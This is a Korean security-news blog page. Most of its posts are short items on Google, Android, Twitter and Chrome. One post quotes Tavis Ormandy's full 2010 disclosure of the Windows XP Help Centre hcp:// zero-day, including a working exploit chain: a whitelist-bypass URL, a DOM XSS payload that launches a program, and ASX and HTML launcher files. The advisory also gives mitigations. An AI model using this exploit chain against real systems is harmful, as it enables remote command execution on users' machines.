스마트폰 시대에 있어 앱(App)은 활용도에 따라 시장을 선도하느냐 아니면 따라가느냐 하는 중요한 위치를 차지하고 있습니다.

애플의 IOS에는 아이튠즈가, 구글의 안드로이드 OS에는 안드로이드 마켓이 있어 전세계적으로 다양한 앱들이 개발되어 무료 또는 유료로 판매되고 있습니다.

실제로 앱의 구매, 실행, 복사 방지 등과 같이 보안에 관련된 부분은 철두철미하게 관리가 되어야 하며, 이러한 부분에서 보안상 문제가 발생한다면 치명적인 결과를 낳게 됩니다.

최근에는 애플의 아이튠즈에서 일부 사용자의 계정정보를 도용하여 특정한 앱에 대해 전폭적인 구매 및 점수 띄워주기를 하다 걸려서 영구제명(!)당한 사건이 있었습니다.

그리고, 구글이 관리하는 안드로이드 라이선스 서버의 인증을 우회하는 앱이 출현하는 일종의 해킹이 발생되었으며 구글이 이에 대한 보안을 강화하였다고 밝혔습니다. 라이선스 서버의 인증을 우회하는 경우에는 불법적인 설치, 복사, 악성코드가 포함된 앱을 사용하게 할 수 있을 만큼 아주 심각한 문제점으로 보여집니다.

구글의 Tim Bray는 자신의 블로그를 통해, 이러한 사실을 알리고 현재에는 보안을 강화하여 그러한 일이 발생하지 않도록 조치했다고 밝혔습니다.

출처: http://www.infoworld.com/d/security-central/google-defends-android-market-license-server-despite-reported-hack-326

reTweet
Posted by 문스랩닷컴
blog comments powered by Disqus
    지난 6월 10일, 윈도우 XP 운영체제의 '도움말 센터' 기능에서 제로데이 취약점이 발견되어 알려졌으며, 이러한 취약점을 이용하는 공격코드를 구글에서 공개해 파장이 일고 있습니다.

    아래 글상자는 공개한 공격 코드입니다.

    Microsoft Windows Help Centre Handles Malformed Escape Sequences Incorrectly
    ----------------------------------------------------------------------------
    
    Help and Support Centre is the default application provided to access online
    documentation for Microsoft Windows. Microsoft supports accessing help documents
    directly via URLs by installing a protocol handler for the scheme "hcp", 
    a typical example is provided in the Windows XP Command Line Reference,
    available at http://technet.microsoft.com/en-us/library/bb490918.aspx.
    
    Using hcp:// URLs is intended to be safe, as when invoked via the registered
    protocol handler the command line parameter /fromhcp is passed to the help
    centre application. This flag switches the help centre into a restricted mode,
    which will only permit a whitelisted set of help documents and parameters.
    
    This design, introduced in SP2, is reasonably sound. A whitelist of trusted
    documents is a safe way of allowing interaction with the documentation from
    less-trusted sources. Unfortunately, an implementation error in the whitelist
    allows it to be evaded.
    
    URLs are normalised and unescaped prior to validation using
    MPC::HTML::UrlUnescapeW(), which in turn uses MPC::HexToNum() to translate URL
    escape sequences into their original characters, the relevant code from
    helpctr.exe 5.1.2600.5512 (latest at time of writing) is below.
    
    .text:0106684C Unescape:
    .text:0106684C        cmp     di, '%'              ; di contains the current wchar in the input URL.
    .text:01066850        jnz     short LiteralChar    ; if this is not a '%', it must be a literal character.
    .text:01066852        push    esi                  ; esi contains a pointer to the current position in URL to unescape.
    .text:01066853        call    ds:wcslen            ; find the remaining length.
    .text:01066859        cmp     word ptr [esi], 'u'  ; if the next wchar is 'u', this is a unicode escape and I need 4 
    xdigits.
    .text:0106685D        pop     ecx                  ; this sequence calculates the number of wchars needed (4 or 2).
    .text:0106685E        setz    cl                   ; i.e. %uXXXX (four needed), or %XX (two needed).
    .text:01066861        mov     dl, cl
    .text:01066863        neg     dl
    .text:01066865        sbb     edx, edx
    .text:01066867        and     edx, 3
    .text:0106686A        inc     edx
    .text:0106686B        inc     edx
    .text:0106686C        cmp     eax, edx             ; test if I have enough characters in input to decode.
    .text:0106686E        jl      short LiteralChar    ; if not enough, this '%' is considered literal.
    .text:01066870        test    cl, cl
    .text:01066872        movzx   eax, word ptr [esi+2]
    .text:01066876        push    eax
    .text:01066877        jz      short NotUnicode
    .text:01066879        call    HexToNum             ; call MPC::HexToNum() to convert this nibble (4 bits) to an integer.
    .text:0106687E        mov     edi, eax             ; edi contains the running total of the value of this escape 
    sequence.
    .text:01066880        movzx   eax, word ptr [esi+4]
    .text:01066884        push    eax
    .text:01066885        shl     edi, 4               ; shift edi left 4 positions to make room for the next digit, i.e. 
    total <<= 4;
    .text:01066888        call    HexToNum             
    .text:0106688D        or      edi, eax             ; or the next value into the 4-bit gap, i.e. total |= val.
    .text:0106688F        movzx   eax, word ptr [esi+6]; this process continues for the remaining wchars.
    .text:01066893        push    eax
    .text:01066894        shl     edi, 4
    .text:01066897        call    HexToNum
    .text:0106689C        or      edi, eax
    .text:0106689E        movzx   eax, word ptr [esi+8]
    .text:010668A2        push    eax
    .text:010668A3        shl     edi, 4
    .text:010668A6        call    HexToNum
    .text:010668AB        or      edi, eax
    .text:010668AD        add     esi, 0Ah              ; account for number of bytes (not chars) consumed by the escape.
    .text:010668B0        jmp     short FinishedEscape
    .text:010668B2
    .text:010668B2 NotUnicode:                             
    .text:010668B2        call    HexToNum             ; this is the same code, but for non-unicode sequences (e.g. %41, 
    instead of %u0041)
    .text:010668B7        mov     edi, eax
    .text:010668B9        movzx   eax, word ptr [esi]
    .text:010668BC        push    eax
    .text:010668BD        call    HexToNum
    .text:010668C2        shl     eax, 4
    .text:010668C5        or      edi, eax
    .text:010668C7        add     esi, 4               ; account for number of bytes (not chars) consumed by the escape.
    .text:010668CA
    .text:010668CA FinishedEscape:
    .text:010668CA        test    di, di
    .text:010668CD        jz      short loc_10668DA
    .text:010668CF
    .text:010668CF LiteralChar:
    .text:010668CF        push    edi                  ; append the final value to the normalised string using a 
    std::string append.
    .text:010668D0        mov     ecx, [ebp+unescaped]
    .text:010668D3        push    1
    .text:010668D5        call    std::string::append
    .text:010668DA        mov     di, [esi]            ; fetch the next input character.
    .text:010668DD        test    di, di               ; have we reached the NUL terminator?
    .text:010668E0        jnz     Unescape             ; process next char.
    
    This code seems sane, but an error exists due to how MPC::HexToNum() handles
    error conditions, the relevant section of code is annotated below.
    
    .text:0102D32A        mov     edi, edi
    .text:0102D32C        push    ebp
    .text:0102D32D        mov     ebp, esp              ; function prologue.
    .text:0102D32F        mov     eax, [ebp+arg_0]      ; fetch the character to convert.
    .text:0102D332        cmp     eax, '0'
    .text:0102D335        jl      short CheckUppercase  ; is it a digit?
    .text:0102D337        cmp     eax, '9'
    .text:0102D33A        jg      short CheckUppercase
    .text:0102D33C        add     eax, 0FFFFFFD0h       ; atoi(), probably written val - '0' and optimised by compiler.
    .text:0102D33F        jmp     short Complete   
    .text:0102D341 CheckUppercase:
    .text:0102D341        cmp     eax, 'A'
    .text:0102D344        jl      short CheckLowercase  ; is it an uppercase xdigit?
    .text:0102D346        cmp     eax, 'F'
    .text:0102D349        jg      short CheckLowercase
    .text:0102D34B        add     eax, 0FFFFFFC9h       ; atoi()
    .text:0102D34E        jmp     short Complete   
    .text:0102D350 CheckLowercase:
    .text:0102D350        cmp     eax, 'a'
    .text:0102D353        jl      short Invalid         ; lowercase xdigit?
    .text:0102D355        cmp     eax, 'f'
    .text:0102D358        jg      short Invalid    
    .text:0102D35A        add     eax, 0FFFFFFA9h       ; atoi()
    .text:0102D35D        jmp     short Complete    
    .text:0102D35F Invalid:     
    .text:0102D35F        or      eax, 0FFFFFFFFh       ; invalid character, return -1
    .text:0102D362 Complete:   
    .text:0102D362        pop     ebp
    .text:0102D363        retn    4
    
    Thus, MPC::HTML::UrlUnescapeW() does not check the return code of
    MPC::HexToNum() as required, and therefore can be manipulated into appending
    unexpected garbage onto std::strings. This error may appear benign, but we can
    use the miscalculations produced later in the code to evade the /fromhcp
    whitelist.
    
    Assuming that we can access arbitrary help documents (full details of how the
    MPC:: error can be used to accomplish this will be explained below), we must
    identify a document that can be controlled purely from the URL used to access it.
    
    After browsing the documents available in a typical installation, the author
    concluded the only way to do this would be a cross site scripting error. After
    some careful searching, a candidate was discovered:
    
    hcp://system/sysinfo/sysinfomain.htm?svr=<h1>test</h1>
    
    This document is available in a default installation, and due to insufficient
    escaping in GetServerName() from sysinfo/commonFunc.js, the page is vulnerable
    to a DOM-type XSS. However, the escaping routine will abort encoding if characters
    such as '=' or '"' or others are specified. 
    
    It's not immediately obvious that this error is still exploitable, simple
    tricks like <img src=bad onerror=code> don't apply, and <script>code</script>
    isn't helpful as the code isn't evaluated again. In situations like this, the
    best course of action is to harass lcamtuf until he gives you the solution,
    which of course his encyclopaedic knowledge of browser security quirks produced
    immediately.
    
    <script defer>code</script>
    
    The defer property is an IE-ism which solves the problem, documented by
    Microsoft here http://msdn.microsoft.com/en-us/library/ms533719%28VS.85%29.aspx.
    Now that we are armed with knowledge of this trick, because these help
    documents are in a privileged zone, we can simply execute commands.
    
    You can test this with a command like so (assuming a recent IE):
    
    C:\> ver
    Microsoft Windows XP [Version 5.1.2600]
    C:\> c:\windows\pchealth\helpctr\binaries\helpctr.exe -url "hcp://system/sysinfo/sysinfomain.htm?svr=<script 
    defer>eval(unescape('Run%28%22calc.exe%22%29'))</script>"
    C:\>
    
    While this is fun, this isn't a vulnerability unless an untrusted third party
    can force you to access it. Testing suggests that by default, accessing an
    hcp:// URL from within Internet Explorer >= 8, Firefox, Chrome (and presumably
    other browsers) will result in a prompt. Although most users will click through
    this prompt (perfectly reasonable, protocol handlers are intended to be safe),
    it's not a particularly exciting attack.
    
    I've found a way to avoid the prompt in a default Windows XP installation in all
    major browsers, The solution is to invoke the protocol handler from within an
    <iframe> in an ASX HtmlView element. There are probably other ways.
    
    http://en.wikipedia.org/wiki/Advanced_Stream_Redirector
    
    The version of Windows Media Player that is available by default in Windows XP
    is WMP9, which installs an NPAPI and ActiveX plugin to render windows media
    content. Later versions also can be used, with some minor complications.
    
    Thus, the attack will look like this:
    
    $ cat simple.asx 
    <ASX VERSION="3.0">
    <PARAM name="HTMLView" value="http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/starthelp.html"/>
    <ENTRY>
       <REF href="http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/bug-vs-feature.jpg"/>
    </ENTRY>
    </ASX>
    
    Where starthelp.html contains something like:
    
    $ cat starthelp.html 
    <iframe src="hcp://...">
    
    Forcing a user to read an .ASX file can be achieved in a cross-browser manner like so:
    
    $ cat launchurl.html 
    <html>
    <head><title>Testing HCP</title></head>
    <body>
      <h1>OK</h1>
      <script>
            // HCP:// Vulnerability, Tavis Ormandy, June 2010.
            var asx = "http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/simple.asx";;
    
            if (window.navigator.appName == "Microsoft Internet Explorer") {
                // Internet Explorer
                var o = document.createElement("OBJECT");
                o.setAttribute("classid", "clsid:6BF52A52-394A-11d3-B153-00C04F79FAA6");
                o.openPlayer(asx);
            } else {
                // Mozilla, Chrome, Etc.
                var o = document.createElement("IFRAME");
                o.setAttribute("src", asx);
                document.body.appendChild(o);
            }
      </script>
    </body>
    </html>
    
    Therefore, we have the following interactions between multiple complex systems
    chained together:
    
    - From an html page, email, document, or other application force a user to
      fetch a .ASX file containing an HtmlView element.
    - From the HtmlView element, invoke the hcp protocol handler that would normally
      require confirmation.
    - From the HCP Protocol handler, bypass the /fromhcp whitelist by using the
      string miscalculations caused by failing to check the return code of
      MPC::HexToNum().
    - Once the whitelist has been defeated, invoke the Help document with a known
      DOM XSS due to GetServerName() insufficient escaping.
    - Use the defer property of a script tag to execute script in a privileged zone
      even after the page has been rendered.
    - Invoke an arbitrary command using the wscript.shell object.
    
    Figuring out how to use the MCP::HexToNum() error to defeat the /fromhcp
    whitelist took some analysis, but the result looks like the following.
    
    hcp://services/search?query=anything&topic=hcp://system/sysinfo/sysinfomain.htm%
    A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%
    %A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A
    %%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%
    A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A..%5C..%5Csysinfomain.htm%u003fsvr=%3
    Cscript%20defer%3Eeval%28unescape%28%27Run%2528%2522calc.exe%2522%2529%27%29%29%
    3C/script%3E
    
    --------------------
    Affected Software
    ------------------------
    
    At least Microsoft Windows XP, and Windows Server 2003 are affected. The attack
    is enhanced against IE >= 8 and other major browsers if Windows Media Player is
    available, but an installation is still vulnerable without it.
    
    Machines running version of IE less than 8 are, as usual, in even more trouble.
    
    In general, choice of browser, mail client or whatever is not relevant, they
    are all equally vulnerable.
    
    --------------------
    Consequences
    -----------------------
    
    Upon successful exploitation, a remote attacker is able to execute arbitrary
    commands with the privileges of the current user.
    
    I've prepared a demonstration for a typical Windows XP installation with
    Internet Explorer 8, and the default Windows Media Player 9.
    
    http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/launchurl.html
    
    In IE7 on Windows XP, just visiting this URL should be sufficient:
    
    http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/starthelp.html
    
    Some minor modifications will be required to target other configurations, this
    is simply an attempt to demonstrate the problem. I'm sure the smart guys at
    metasploit will work on designing reliable attacks, as security professionals
    require these to do their jobs.
    
    Additionally, my demonstration is not intended to be stealthy, a real
    attack would barely be noticable to the victim. Perhaps the only unavoidable
    signal would be the momentary appearance of the Help Centre window before the
    attacker hides it. There are multiple trivial techniques that can be used to
    accomplish this.
    
    Browsers are useful to demonstrate the problem, but there are certainly other
    attack vectors, such as MUAs, documents, etc. Protocol handlers are designed to
    be used across applications.
    
    -------------------
    Mitigation
    -----------------------
    
    If you believe you may be affected, you should consider applying one of the
    workarounds described below.
    
    Few users rely on Help Centre urls, it is safe to temporarily disable them
    by removing HKCR\HCP\shell\open. This modification can be deployed easily using
    GPOs. For more information on Group Policy, see Microsoft's Group Policy site,
    here
    
    http://technet.microsoft.com/en-us/windowsserver/bb310732.aspx
    
    A few caveats, 
    
        * I am aware that some support technicians rely on the Remote Assistance
          tool provided by the Help Center application using shortcuts like
          "explorer.exe hcp://CN=Microsoft%20Corporation,L=Re...". You can continue
          to use this technique by substituting "explorer.exe hcp://..." for
          "helpctr.exe /url hcp://...", without relying on the protocol handler.
    
        * One or two links in explorer, such as selecting "Help" from the Control
          Panel category view, may no longer function. If this concerns you, it is
          possible to gracefully degrade by replacing the protocol handler with a
          command to open a static intranet support page, e.g.
          "chrome.exe http://techsupport.intranet";.
    
        * As always, if you do not use this feature, consider permanently disabling
          it in order to reduce attack surface. Historically, disabling unused
          protocol handlers has always proven to be a wise investment in security. 
    
    In the unlikely event that you heavily rely on the use of hcp://, I have
    created an unofficial (temporary) hotfix. You may use it under the terms of
    the GNU General Public License, version 2 or later. Of course, you should only
    use it as a last resort, carefully test the patch and make sure you understand
    what it does (full source code is included). It may be necessary to modify it
    to fit your needs.
    
    The package is availble for x86 here:
    
    http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/hcphotfix.zip
    
    [ NOTE: Please avoid linking to this file out of context, it is intended for
            consideration as a potential mitigation by experienced administrators,
            and is not suitable for consumption by end-users ]
    
    The hotfix intercepts helpctr.exe invokations, and patches MPC::HexToNum() to
    return zero on error, rather than -1. Nothing is changed on disk, and it can be
    safely removed at anytime. Of course, the result of an invalid unescape is still
    incorrect, but this specific vulnerability should be rendered inert. I would be
    greatful if the community could contribute bugfixes, testing, an x64 port, and
    so on. Once information is in the open, we can all collaborate on our
    collective security.
    
    Some clarifications,
    
        * Fixing the XSS is not a solution, the root cause is the whitelist
          evasion, any mitigation that does not address this is simply papering
          over the issue. An army of researchers that specialise in XSS exists, and
          i'm sure they will turn their attention to help documents once they
          realise their value. Assume more will be discovered.
    
        * That said, if you are an XSS expert, examples in whitelisted pages
          (/services/index, /services/search, etc.) would be useful, your skills
          could be helpful making this important software safe.
    
        * Removing Windows Media player is not a solution, it simply makes a fun
          demo for IE8 and other modern browsers.
    
    Finally, you should take this opportunity to disable all browser plugins and
    SFS ActiveX controls that are not regularly used. End users can do this
    themselves in Google Chrome by viewing about:plugins and disabling the plugins
    that are not required. In Mozilla Firefox, use the Tools->Add-ons->Plugins
    interface.
    
    -------------------
    Solution
    -----------------------
    
    Microsoft was informed about this vulnerability on 5-Jun-2010, and they
    confirmed receipt of my report on the same day.
    
    Protocol handlers are a popular source of vulnerabilities, and hcp:// itself
    has been the target of attacks multiple times in the past. I've concluded that
    there's a significant possibility that attackers have studied this component,
    and releasing this information rapidly is in the best interest of security.
    
    Those of you with large support contracts are encouraged to tell your support
    representatives that you would like to see Microsoft invest in developing
    processes for faster responses to external security reports.
    
    -------------------
    Credit
    -----------------------
    
    This bug was discovered by Tavis Ormandy.
    
    -------------------
    Greetz
    -----------------------
    
    Greetz to Neel, Mark, Redpig, Spoonm, Skylined, asiraP, LiquidK, ScaryBeasts,
    Hawkes, Jagger, and all my other pimp colleagues.
    
    Special thanks to lcamtuf for his assistance with the deferred execution
    problem. You should read his Browser Security Handbook if you need to
    understand how web browser security /really/ works.
    
    http://code.google.com/p/browsersec/wiki/Main
    
    A colleague is organising a conference in Lucerne, Switzerland. He would really
    appreciate interesting papers from security people who want to talk about
    their research (travel, hotel, etc. covered).
    
    https://www.hashdays.ch/
    
    -------------------
    Notes
    -----------------------
    
    I would like to point out that if I had reported the MPC::HexToNum() issue
    without a working exploit, I would have been ignored.
    
    Without access to extremely smart colleagues, I would likely have given up,
    leaving you vulnerable to attack from those who just want root on your network
    and do not care about disclosure policies.
    
    This is another example of the problems with bug secrecy (or in PR speak,
    "responsible disclosure"), those of us who work hard to keep networks safe are
    forced to work in isolation without the open collaboration with our peers that
    we need, especially in complex cases like this, where creative thinking and
    input from experts in multiple disciplines is required to join the dots.
    
    A good place to start researching full disclosure would be this accessible
    and insightful essay by Bruce Schneier.
    
    http://www.schneier.com/essay-146.html
    
    His balanced coverage of the debate is also available in this essay.
    
    http://www.schneier.com/crypto-gram-0111.html#1
    
    Finally, a reminder that this documents contains my own opinions, I do
    not speak for or represent anyone but myself.
    
    -------------------
    References
    -----------------------
    
    hcp:// has been broken a few times over the years, for example:
    
    - http://seclists.org/bugtraq/2002/Aug/225, Delete arbitrary files using Help and Support Center
    - http://www.microsoft.com/technet/security/bulletin/ms03-044.mspx, HCP memory corruption by Dave Litchfield.
    
    The current design is actually pretty sound, I'm sure Microsoft are
    dissapointed they missed this flaw. In their defense, I think there's a good
    chance I would have also missed this in code review.
    
    -- 
    -------------------------------------
    taviso () cmpxchg8b com | pgp encrypted mail preferred
    -------------------------------------------------------


    구글에서 일하는 엔지니어인 Tavis Ormandy는 취약점의 원인 뿐만 아니라 공격하는 방법, 그리고 일시적으로 공격의 예방하는 방법 등 거의 모든 부분에 대해 아무런 가감 없이 상세하게 설명하였습니다.

    문제는 너무 자세하게 설명한 나머지 해커들이 이 정보를 이용하여 손쉽게 악성 코드를 생성할 수 있다는 주장이 마이크로소프트에 의해 주장되기도 했습니다.

    한편, MS의 이러한 공격에 대해 Tavis는 '내 자신의 의견일 뿐이다'라고 전혀 개연치 않는 발언을 하기도 했습니다.

    출처: http://www.itproportal.com/portal/news/article/2010/6/11/microsoft-hits-out-over-google-engineers-hacking-tips/

    공격코드: http://seclists.org/fulldisclosure/2010/Jun/205
    reTweet
    Posted by 문스랩닷컴
    blog comments powered by Disqus
      지난 금요일 구글은 애플이 출시할 예정인 아이패드(iPad)에 맞도록 개발 중인 지메일 웹 애플리케이션을 블로그에서 살짝 공개했습니다.


      출처: http://googlemobile.blogspot.com/2010/04/google-services-on-ipad-and-tablet.html


      reTweet
      Posted by 문스랩닷컴
      blog comments powered by Disqus
        구글은 검색 엔진으로 유명하지만, 그 외에도 다양한 기능을 제공합니다. 대표적인 서비스로는 번역 을 들 수 있을 것입니다.

        구글은 기업의 환경에 맞는 서비스도 제공하는데 바로 앱스(Apps)입니다. Apps에서는 이메일, 일정, 주소록을 도메인별로 사용할 수 있게 해주는 Saas를 제공하며, 50이하 사용자는 무료입니다. 물론, 유료로 사용하는 경우에는 보다 나은 용량이나 성능을 제공합니다.

        하여튼, 회사의 입장에서 새롭게 도메인을 등록하고 이메일 시스템을 구축하는 경우에는 크게 문제가 되지 않지만, 기존에 이미 다른 제품의 메일 서버를 사용하고 있는 경우에는 데이터 이전이라는 문제 때문에 고심을 하지 않을 수 없게 됩니다.

        구글은 이러한 문제점을 해결하기 위해 Exchange 서버에서 구글 앱스로 이메일, 일정, 주소록을 넘겨줄 수 있습니다.

        다만, 이러한 툴을 사용하기 위해서는 구글 앱스 상용 버전이나, 교육용 버전을 사용하고 있어야 한다고 언급하고 있습니다. 또한, 익스체인지 2003과 2007을 지원합니다.

        출처: http://googleenterprise.blogspot.com/2010/03/now-its-easy-switch-to-google-apps-from.html

        설명서: http://static.googleusercontent.com/external_content/untrusted_dlcp/www.google.com/ko//support/enterprise/static/gapps/docs/admin/en/gapps_exchange_migration/1.0/gamme_admin.pdf
        reTweet
        Posted by 문스랩닷컴
        blog comments powered by Disqus
          전세계에서 가장 데이터를 잘 모아서 돈으로 만들어 버는 구글에서는 안드로이드라는 휴대폰용 운영체제를 개발하여 출시하였습니다.

          물론 국내외 휴대폰 개발사들이 이 운영체제를 이용하기도 합니다만, 아직까지 크게 반향을 일으키지는 못하고 있습니다. 이유에 대한 것은 본 글의 범위를 넘어서기 때문에 생략합니다.

          하여튼, 보안 기업으로 유명한 F-Secure 사는 안드로이드에서 사용할 수 있는 보안 관련 서비스인 F-Secure Antitheft for Mobile 를 출시했습니다.

          안드로이드 폰을 사용하다가 분실하는 경우에는 안드로이드 폰을 사용할 수 없도록 잠그거나 데이터를 삭제할 수 있는 서비스입니다. 또한, 안드로이드 폰으로 인터넷 서핑을 하는 동안에 악성 코드가 포함된 사이트를 방문하더라도 미리 예방할 수 있습니다.

          자세한 사항은 아래 링크를 참고하십시오.

          http://www.f-secure.com/en_US/products/mobile/mobile-security/Mobile_security_android.html
          reTweet
          Posted by 문스랩닷컴
          blog comments powered by Disqus
            최근 구글은 중국의 조직적인 해킹으로 인해 내부의 정보가 누출되는 사태가 발생했다고 밝혔습니다. 이에 대한 원인으로는 인터넷 익스플로러의 취약점이 거론되고 있습니다만, 더욱 충격적인 내용이 주장되고 있습니다.

            구글 중국 지사의 직원들이 중국발 사이버 공격에 동참했을 가능성이 있다고 주장했습니다. 즉, 공격은 구글 중국 지사에서 일하는 사람들에 의해 실행되었을 수 있다는 것입니다.

            아직 이에 대해 자세한 사항은 나오지 않고 단편으로만 나오는 실정이며 자세한 사항은 아래 링크를 참고하세요.

            http://mystateline.com/content/fulltext/?cid=130162

            reTweet
            Posted by 문스랩닷컴
            blog comments powered by Disqus
              지난 11월 중순부터 외국(독일)의 구글 크롬 브라우저를 다운로드 하는 페이지에서 어베스트!에 관련된 글이 알려진 적이 있습니다. 그 당시에는 전세계적으로 모든 국가에 적용되지는 않았습니다.

              지난 12월 3일, 드디어 구글 크롬 영문 버전이 어베스트!의 설치 과정에 포함되었습니다.

              출처: http://blog.avast.com/2009/12/03/avast-and-google-chrome/




              reTweet
              Posted by 문스랩닷컴
              blog comments powered by Disqus
                개인용 단문 서비스인 트위터는 개설 초기부터 보안 문제로 인해 여러가지 말들이 많아 왔습니다.

                특히, 개발자의 메일 주소가 노출되는 바람에 톡톡히 망신을 당하곤 했습니다. 관련 자료는 http://moonslab.com/693 링크를 참고하세요.

                또한 어제부터는 트위터 서버로의 DDoS 공격이 진행되어 일부 서비스의 장애가 발생하는 상황입니다.

                트위터는 이러한 보안적 위협으로 안전해지기 위해 다양한 수단을 강구하고 있으며, 오늘  악성 URL을 트윗(단문 메시지)로 적지 못하도록 차단하는 기능을 소개합니다.

                지난 월요일에 보안 기업인 F-Secure의 연구자인 Mikko Hypponen은 트위터에 글을 쓰는 도중에 악성 URL을 포함할 때에 경고창이 나타나면서 제대로 등록되지 않는 현상을 발견했습니다. 경고창에는 "Oops! Your tweet contained a URL to a known malware site"이 표시됩니다. 

                이러한 기능은 구글의 Safe Browsing API를 이용하여 악성 링크를 확인하는 것으로 구글 관계자가 공식적으로 확인해 주었습니다.

                구글의 Safe Browsing API는 구글로 검색하는 과정에서 유해 사이트로 등록된 곳을 방문할 때에 알려주는 즉, 악성 코드가 포함되어 있거나 과거에 포함된 전력이 있는 유해한 사이트를 미리 알려 주어 방문을 하지 않도록 유도합니다.

                하지만, 일부 보안 전문가들은 악성 URL을 차단하는 기능이 유용할 수도 있지만, 마찬가지로 우회할 수 있는 구멍을 가지고 있다고 얘기합니다.

                우회하는 방법은 바로 URL을 짧게 표시하는 서비스입니다. 트위터에서 주고 받는 메시지, 즉 트윗은 140글자(영문)까지 적을 수 있기 때문에 우리가 자주 입력하는 URL을 최대한 줄이는 필요성이 제기되어 왔으며, 이러한 수요에 맞게 여러 개의 URL 단축 서비스를 제공하는 사이트가 활성되어 있습니다. 대표적인 서비스로는 Tinyurl.com, Bit.ly 등이 있습니다.

                또한, 악성 URL에서 www 글자를 빼고 테스트한 결과 또한 마찬가지로 우회할 수 있는 방법으로 알려 지고 있습니다.

                한 편, 짧은 URL로 악성 URL을 변환하더라도 언젠가는 구글에서 이러한 짧은 URL도 인식할 것이라는 의견도 있습니다.

                트위터는 웹 2.0 기반의 서비스로 보안상 아직 취약한 점이 매우 많습니다. 얼마만큼 보안을 해결할 수 있을지 관심을 두고 봐야 할 것으로 보입니다.



                 


                reTweet
                Posted by 문스랩닷컴
                blog comments powered by Disqus
                  운영체제(OS, Operating System)라고 한다면 보통 마이크로소프트 윈도우를 칭할 수 있습니다. 하지만, 윈도우는 널리 사용되는 반면에 바이러스와 같은 위협이 너무나도 많은 게 사실입니다.

                  지메일로 유명한 구글에서는 새로운 운영체제인 구글 크롬(Chrome)를 발표했는데, 그 모토가 바로 '바이러스가 활동할 수 없는 안전한 운영체제를 만들자' 입니다.

                  그렇다고 구글이 새로운 운영체제를 밑바탕부터 만들은 것은 아닙니다. 바이러스가 거의 없다고 여겨지는 리눅스 운영체제의 커널을 바탕으로 만든 것으로 인텔 CPU 뿐만 아니라 ARM 칩까지도 지원한다고 합니다.(참고: ARM 칩은 주로 PDA와 같은 모바일 기기에서 많이 사용하는 운영체제)

                  구글 크롬 OS 개발 담당자는 "사용자가 바이러스나 악성코드를 염려하지 않아도 될만큼 커널의 보안 체계를 다시 설계하였다"고 하며, 리눅스 커널 위에서 웹 애플리케이션을 다운로드하여 이용하는 형태가 될 것이라고 합니다.

                  크롬 OS는 올해 말에 오픈 소스 형태로 공개할 예정이며 2010년도 하반기에는 넷북에서도 사용할 수 있도록 개발할 예정이라고 합니다.

                  크롬 OS는 리눅스 커널 위에 웹 브라우저의 형태로 동작하는 것으로 알려져 있습니다. 하지만 일부 보안 전문가는 기존의 위협(바이러스, 악성 코드 등등)으로부터 안전할 수는 있지만 이러한 위협이 웹 기반의 위협(XSS, SQL 인젝션 공격)으로 옮겨 가는 것이지 결코 안전하지 않을 수 있다고 합니다.

                  바이러스 없는 안전한 컴퓨터 생활이 가능할지, 귀추가 주목됩니다.
                  reTweet
                  Posted by 문스랩닷컴
                  blog comments powered by Disqus
                    우리나라에서 TV 광고 속에 나오는 컴퓨터 관련 회사는 어떤 것이 있을까요? 물론 삼성, LG와 같은 대기업 피시 선전이 있을 테구요. 아! 이 선전 속에는 두두둥~ 인텔 인사이드 라는 깍두기 광고가 포함되어 있습니다. 외국에서까지 넓혀 보면 아마 가장 많은 광고를 내는 기업은 마이크로소프트와 인텔이 아닐까 싶습니다.

                    최근 외신에 구글의 최신 브라우저인 크롬(Chrone)이 TV 방송에 나올 것이라는 소식이 전해지고 있습니다. 원래 광고는 일본 즉 구글 저팬에서 크롬의 간편성을 시연하기 위한 교육용 비디오를 개발하는 중에서 기인한다고 구글은 밝혔습니다. 비디오는 유튜브 즉 동영상에 관한 내용을 담고 있으며 아래 링크를 통해 직접 보실 수 있습니다.

                    http://www.youtube.com/watch?v=SHZFsJKlsuA&feature=player_embedded

                    구글의 블로그에는 이 교육용 동영상을 보다 많은 이용자에게 적절하게 보여 줄 수 있도록 자체 TV 광고팀에 의뢰하였다고 합니다. TV 광고에는 그리 특별하게 눈에 띄이지는 않지만 컴퓨터와 같은 IT에 익숙하지 않은 시청자들에게 무엇을 광고하고 있는지는 명확히 알 수 있을 것이라고 합니다. "브라우저"라는 단어는 사용하지 않고 물론 브라우저가 무엇인지도 설명하지 않습니다. 다만, 구글의 이름 값을 사람들에게 각인시킬 것이라고 합니다.

                    한편, 크롬 브라우저는 전체 브라우저 시장에서 4월 기준으로 약 1.42%를 차지하고 있다고 Net Application에서 밝히고 있습니다. 인터넷 익스플로러는 66%로 1위를 차지하고 있으며 파이어폭스가 22.3%로 2위 그리고 사파리가 8%로 그 뒤를 따르고 있습니다.


                    출처: http://www.pcmag.com/article2/0,2817,2346815,00.asp

                    reTweet
                    Posted by 문스랩닷컴
                    blog comments powered by Disqus


                      Web Analytics Blogs Directory